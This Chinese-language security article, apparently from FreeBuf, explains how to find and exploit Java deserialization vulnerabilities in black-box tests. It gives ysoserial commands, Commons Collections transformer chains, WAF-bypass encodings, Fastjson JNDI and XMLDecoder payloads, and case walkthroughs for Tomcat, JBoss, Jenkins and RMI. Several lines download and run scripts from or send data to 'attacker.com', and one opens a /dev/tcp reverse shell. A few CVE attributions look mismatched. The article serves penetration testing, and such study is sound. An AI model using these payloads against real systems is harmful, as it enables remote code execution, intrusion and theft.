
一、入口点发现技巧
1. 协议特征识别
Java原生序列化
POST /api/data HTTP/1.1
Content-Type: application/x-java-serialized-object
[HEX] AC ED 00 05 73 72 00 ... # 魔数头AC ED 00 05
XML序列化
<java serialization="1.0">
<object class="java.util.HashMap">
<field name="user" class="com.example.User">
<string>test</string>
</field>
</object>
</java>
JSON特殊格式
{
"@type": "com.example.User",
"name": {"$ref":"$.恶意属性"}
}
2. 常见渗透路径
graph LR
A[HTTP请求] --> B[参数污染]
A --> C[Cookie篡改]
A --> D[文件上传]
E[JMX端口] --> F[1099端口探测]
G[RMI服务] --> H[远程对象绑定]
二、漏洞检测手法
1. 盲打检测法
# 使用DNSLOG检测反序列化触发
java -jar ysoserial.jar URLDNS "http://xxxxxx.dnslog.cn" > payload.bin
# 发送payload并观察DNS解析记录
curl -X POST --data-binary @payload.bin http://target.com/api
2. 延时检测法
// 构造触发sleep的payload(CommonsCollections5)
Transformer[] chain = {
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"sleep", new Class[]{Long.TYPE}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{5000}})
};
观察响应时间:
正常请求响应时间:200ms
成功触发后响应时间:>5000ms
3. 错误信息分析
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
java.io.InvalidClassException:
org.apache.commons.collections.functors.InvokerTransformer;
local class incompatible: stream classdesc serialVersionUID = -8653385846894807688...
关键特征:
出现
InvokerTransformer
、AnnotationInvocationHandler
等类名InvalidClassException
中包含CC组件信息
三、协议级渗透技巧
1. RMI服务探测
# 使用nmap扫描RMI注册端口
nmap -p 1099 --script rmi-vuln-classloader 192.168.1.100
# 强制绑定恶意对象
String server = "rmi://192.168.1.100:1099/Exploit";
Naming.bind(server, new MaliciousObject());
2. JMX攻击
// 构造JMX连接payload
JMXServiceURL url = new JMXServiceURL(
"service:jmx:rmi:///jndi/rmi://attacker.com:1099/exploit"
);
JMXConnector connector = JMXConnectorFactory.connect(url);
3. HTTP参数注入
POST /exportData HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="config"
rO0ABXNyADRjb20uZXhhbXBsZS5TZXJpYWxpemFibGVDb25maWg... # 序列化对象
四、高级绕过检测
1. 协议伪装技巧
# 将序列化数据嵌入JSON
import base64
payload = open('payload.bin', 'rb').read()
wrapped = {
"data": {
"type": "base64",
"value": base64.b64encode(payload).decode()
}
}
requests.post(url, json=wrapped)
2. 字符集混淆
// 使用多种编码绕过WAF检测
String[] encodings = {"UTF-16BE", "UTF-32", "x-COMPOUND_TEXT"};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payload);
for (String enc : encodings) {
String encoded = new String(bos.toByteArray(), enc);
sendTestRequest(encoded);
}
3. 分块传输绕过
POST /api/upload HTTP/1.1
Transfer-Encoding: chunked
7
\xac\xed\x00\x05
0
...后续chunk携带剩余payload...
五、工具链配置
1. Burp Suite插件配置
# 使用Burp自定义插件自动检测
from burp import IBurpExtender
from burp import IScannerCheck
class BurpExtender(IBurpExtender, IScannerCheck):
def doPassiveScan(self, baseRequestResponse):
data = baseRequestResponse.getRequest()
if b'\xac\xed\x00\x05' in data:
return [CustomScanIssue(
baseRequestResponse.getHttpService(),
"Java Serialization Detected",
"Possible insecure deserialization")]
2. 自动化检测脚本
#!/bin/bash
# 自动化黑盒测试脚本
TARGET=$1
# 生成所有CC变种payload
for gadget in {1..10}; do
ysoserial.jar CommonsCollections$gadget "nslookup $gadget.xxx.dnslog.cn" > payload$gadget.bin
curl -X POST --data-binary @payload$gadget.bin $TARGET
done
六、漏洞确认与利用
1. 回显验证
// 构造命令执行回显payload
String cmd = "curl http://attacker.com/$(whoami|base64)";
Transformer[] chain = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
2. 内存马注入验证
GET /favicon.ico HTTP/1.1
Host: target.com
X-Token: ${@Runtime@getRuntime().exec("calc")} # 检测表达式解析
七、防御方案验证
1. 安全配置检查
# 检查服务器是否配置反序列化过滤
curl -v -X POST --data 'rO0ABXNy...' -H "Content-Type: application/x-java-serialized-object" http://target.com/api
# 预期安全响应:
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"Unsupported media type"}
2. WAF规则测试
# 测试WAF是否拦截CC特征
payloads = [
b'InvokerTransformer',
b'AnnotationInvocationHandler',
b'\xac\xed\x00\x05'
]
for p in payloads:
r = requests.post(url, data=p)
if r.status_code != 403:
print(f"Bypass found: {p[:20]}...")
总结与思维导图
graph TD
A[黑盒测试流程] --> B[流量捕获]
A --> C[特征识别]
A --> D[Payload构造]
A --> E[异常检测]
B --> F[BurpSuite历史记录]
C --> G[AC ED头检测]
D --> H[Ysoserial生成]
E --> I[响应时间分析]
E --> J[错误信息匹配]
E --> K[DNSLOG回调]
核心要点:
通过协议特征快速锁定可疑端点
结合多种检测手法相互验证
关注非常规协议端口(RMI/JMX/JNDI)
持续更新payload绕过最新防御措施
反序列化的深度技巧
一、基于协议特征的深度检测
1. DNS/ICMP 双通道验证
通过组合DNS查询与ICMP回显检测漏洞,提高隐蔽性:
# 生成DNS探测payload(使用ysoserial)
import os
import requests
dns_log = "yourdomain.dnslog.cn"
payload = os.popen(f'java -jar ysoserial.jar URLDNS {dns_log}').read()
requests.post(target_url, data=payload)
# 同时监听ICMP(Python scapy示例)
from scapy.all import *
def icmp_callback(pkt):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # ICMP请求包
print(f"ICMP Echo Request from {pkt[IP].src}")
sniff(filter="icmp", prn=icmp_callback, timeout=30)
原理:
URLDNS
链会触发DNS解析,验证漏洞存在性若目标网络限制DNS外连,可改用
CommonsCollections5
构造ping
命令触发ICMP回包
二、非常规协议伪装
1. HTTP参数嵌套Base64
将序列化数据嵌入JSON参数,绕过基础WAF检测:
import base64
import requests
with open("payload.bin", "rb") as f:
serialized_data = f.read()
wrapped_payload = {
"data": {
"type": "binary",
"content": base64.b64encode(serialized_data).decode()
}
}
requests.post("http://target/api/upload", json=wrapped_payload)
特征伪装:
原始特征
rO0AB
被Base64编码后变为rO0AB
→ck8wQUI=
,可绕过简单正则匹配
2. Multipart表单注入
将payload隐藏在文件上传字段:
import requests
files = {
'file': ('payload.bin', open('payload.bin', 'rb'),
'application/x-java-serialized-object')
}
requests.post("http://target/upload", files=files)
检测点:
观察
Content-Type: multipart/form-data
中是否包含Java序列化数据
三、中间件特性利用
1. JBoss httpinvoker 漏洞利用
针对JBoss 5.x/6.x的ReadOnlyAccessFilter
组件:
// 构造JBoss特定payload
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(javax.management.MBeanServerConnection.class),
new InvokerTransformer("getAttribute",
new Class[]{ObjectName.class, String.class},
new Object[]{new ObjectName("jboss.system:type=Server"), "StartTime"}),
new InvokerTransformer("toString", null, null)
};
触发点:
发送payload至
/invoker/readonly
端点,利用MBean操作执行命令
四、时序攻击与条件竞争
1. 延迟注入检测
通过响应时间差异判断漏洞:
import time
payloads = [
generate_sleep_payload(5), # 生成触发Thread.sleep(5000)的payload
generate_dummy_payload()
]
for p in payloads:
start = time.time()
requests.post(target_url, data=p)
elapsed = time.time() - start
if elapsed > 4.5:
print(f"Potential vulnerability detected with payload {p}")
原理:
成功触发反序列化漏洞时,服务器会执行
sleep
导致响应延迟
五、非标准端口探测
1. JMX端口(1099)探测
# 使用nmap检测JMX服务
nmap -p 1099 --script rmi-dumpregistry <target_ip>
# 强制绑定恶意对象
String jmxUrl = "service:jmx:rmi:///jndi/rmi://attacker_ip:1099/Exploit";
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(jmxUrl));
利用场景:
JMX默认使用RMI协议,若未配置安全策略可直连执行命令
六、防御绕过技巧
1. 动态类加载混淆
// 利用URLClassLoader加载远程类
Transformer[] chain = {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance",
new Class[]{URL[].class},
new Object[]{new URL[]{new URL("http://attacker.com/")}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
绕过效果:
避免直接引用危险类(如
Runtime
),绕过静态黑名单检测
总结与验证建议
多维度验证:组合DNS、ICMP、响应时间等特征判断漏洞有效性
协议分析:使用Wireshark分析原始流量,确认payload传输完整性
环境适配:根据目标中间件(WebLogic/JBoss等)调整payload构造策略
防御建议:
启用
SerialKiller
等安全反序列化库配置JVM安全策略限制敏感操作
通过以上技巧,可在黑盒测试中发现传统方法难以检测的反序列化漏洞入口点。实际攻击需根据目标环境动态调整payload和检测策略。
根据案例深入分析
以下是几个典型的Java反序列化漏洞实战案例解析,结合不同场景和利用链进行深入分析:
案例1:Apache Commons Collections反序列化漏洞
背景
Apache Commons Collections(ACC)是广泛使用的Java基础库,其3.x和4.x版本中的InvokerTransformer
类允许通过反射调用任意方法。攻击者可构造恶意序列化对象,触发远程代码执行。
利用条件
目标应用使用ACC 3.1至3.2.1或4.0至4.1版本;
存在未过滤的反序列化入口(如HTTP参数、Cookie)。
攻击步骤
构造利用链
使用ChainedTransformer
串联反射调用链,例如:Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
通过
TransformedMap
和AnnotationInvocationHandler
触发链式调用。生成Payload
使用ysoserial
工具生成Payload:java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64命令}|{base64,-d}|bash" | base64
替换目标接口的序列化参数(如Cookie中的
JSESSIONID
)。触发漏洞
目标反序列化时,AnnotationInvocationHandler
的readObject
方法触发setValue
,最终执行系统命令。
案例2:Apache Tomcat会话持久化漏洞(CVE-2025-24813)
背景
Tomcat默认会话持久化机制允许通过文件存储会话对象。若攻击者能上传恶意序列化文件至会话目录,可触发反序列化漏洞实现远程代码执行。
利用条件
Tomcat启用基于文件的会话存储(默认路径为
/tmp
或/sessions
);支持部分PUT请求(默认开启)。
攻击步骤
上传恶意会话文件
通过PUT请求将恶意序列化数据写入Tomcat会话目录:PUT /sessions/恶意SessionID.session HTTP/1.1 Host: target.com Content-Type: application/octet-stream <Base64编码的序列化Payload>
触发反序列化
发送携带恶意Session ID的GET请求:GET /protected/resource HTTP/1.1 Host: target.com Cookie: JSESSIONID=恶意SessionID
服务端读取文件并反序列化,执行Payload中的命令。
案例3:Fastjson 1.2.24反序列化漏洞
背景
Fastjson在处理JSON反序列化时,未对@type
字段进行严格校验,导致攻击者可指定恶意类触发代码执行。
利用条件
目标使用Fastjson 1.2.24或更低版本;
反序列化接口未配置安全模式(如
autoTypeCheck
)。
攻击步骤
构造恶意JSON
包含指向危险类的@type
字段:{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true }
触发JNDI注入
Fastjson反序列化时,JdbcRowSetImpl
尝试连接恶意LDAP服务器,加载远程类并执行任意代码。
案例4:JBoss JMXInvokerServlet反序列化漏洞
背景
JBoss的JMXInvokerServlet
接口默认暴露且未对序列化数据过滤,攻击者可发送恶意对象实现远程命令执行。
利用条件
JBoss版本在6.x或更低;
JMXInvokerServlet
接口可访问(默认路径/invoker/JMXInvokerServlet
)。
攻击步骤
生成Payload
使用ysoserial
生成CommonsCollections链的Payload:java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
发送恶意请求
通过HTTP POST将Payload发送至目标接口:POST /invoker/JMXInvokerServlet HTTP/1.1 Host: target.com Content-Type: application/x-java-serialized-object <payload.bin内容>
服务端反序列化后执行命令。
案例5:Jenkins Remoting API反序列化漏洞(CVE-2016-0788)
背景
Jenkins的分布式通信协议(Remoting)未对序列化数据校验,攻击者可构造恶意对象开启JRMP服务,触发反序列化漏洞。
利用条件
Jenkins版本≤1.649或LTS≤1.642.1;
Remoting API未配置访问控制。
攻击步骤
启动恶意JRMP服务
使用ysoserial
开启监听:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id > /tmp/pwned"
触发反序列化
向Jenkins发送恶意序列化数据,触发对JRMP服务的连接,最终执行命令写入/tmp/pwned
文件。
以下是基于搜索结果的多个Java反序列化漏洞实战案例解析,涵盖不同技术场景和利用链的典型应用:
案例6:Java RMI服务反序列化漏洞(CVE-2015-4852)
背景
Java RMI(远程方法调用)是Java分布式应用的核心技术,但其默认使用序列化进行通信,若服务端未对输入数据过滤,攻击者可通过构造恶意序列化对象实现远程代码执行。
利用条件
RMI服务暴露在公网(默认端口1099);
目标环境包含存在漏洞的第三方库(如Apache Commons Collections 3.x);
未配置反序列化类白名单。
攻击步骤
生成Payload
使用ysoserial
生成基于CommonsCollections的Payload:java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com/shell.sh | bash" > payload.bin
利用RMI协议发送Payload
通过RMI客户端或工具(如RMIRegistryExploit
)向目标RMI服务发送恶意序列化数据:java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099 CommonsCollections1 "id > /tmp/pwned"
触发反序列化
RMI服务端反序列化时,执行Payload中的命令(如写入文件或反弹Shell)。
防御建议
关闭公网RMI端口;
升级Apache Commons Collections至安全版本;
使用
SerialKiller
替换默认ObjectInputStream
以过滤危险类。
案例7:XMLDecoder反序列化漏洞
背景
XMLDecoder是Java中用于将XML数据转换为对象的工具,但若解析未经验证的XML输入,攻击者可构造恶意XML触发代码执行。
利用条件
目标应用使用XMLDecoder解析用户可控的XML输入;
未限制XML中可实例化的类。
攻击步骤
构造恶意XML
包含java.lang.ProcessBuilder
类的XML,用于执行系统命令:<java version="1.8.0" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/bash</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>curl http://attacker.com/shell.sh | bash</string></void> </array> <void method="start"/> </object> </java>
发送恶意请求
将XML作为HTTP请求体发送至目标接口,触发XMLDecoder解析:POST /data/import HTTP/1.1 Content-Type: application/xml <恶意XML内容>
代码执行
XMLDecoder解析后实例化ProcessBuilder
并执行命令。
防御建议
禁用XMLDecoder或替换为安全的解析器(如JAXB);
配置输入验证,限制XML中可实例化的类。
案例8:Spring AOP利用链(CVE-2016-4977)
背景
Spring AOP模块的SimpleJdbcExceptionTranslator
类在反序列化时未校验输入,结合第三方库(如Groovy)可触发远程代码执行。
利用条件
Spring框架版本≤4.3.1;
ClassPath中包含Groovy库;
存在未过滤的反序列化入口。
攻击步骤
生成Groovy Payload
使用ysoserial
生成Groovy链的Payload:java -jar ysoserial.jar Groovy1 "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | base64
发送恶意请求
将Payload注入HTTP请求参数或Cookie中:POST /api/data HTTP/1.1 Cookie: JSESSIONID=rO0ABXNy...(Base64编码的Payload)
反弹Shell
服务端反序列化后,建立反向TCP连接到攻击者服务器。
防御建议
升级Spring框架至安全版本;
禁用不必要的第三方库(如Groovy);
使用白名单机制限制反序列化类。
案例9:BadAttributeValueExpException类利用
背景
Java标准库中的BadAttributeValueExpException
类在反序列化时会调用toString()
方法,结合TiedMapEntry
和LazyMap
链可触发任意代码执行。
利用条件
目标环境包含Apache Commons Collections 3.x;
存在未过滤的反序列化入口。
攻击步骤
构造利用链
通过反射将TiedMapEntry
对象注入BadAttributeValueExpException
的val
字段:Transformer chain = new ChainedTransformer(transformers); // 包含反射调用Runtime.exec Map lazyMap = LazyMap.decorate(new HashMap(), chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); // 反射设置val字段为entry
序列化并发送Payload
生成序列化数据并发送至目标接口。触发漏洞
反序列化时自动调用toString()
,执行预设命令(如启动计算器)。
防御建议
升级Commons Collections至3.2.2+;
配置JVM参数禁用危险类的序列化支持。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)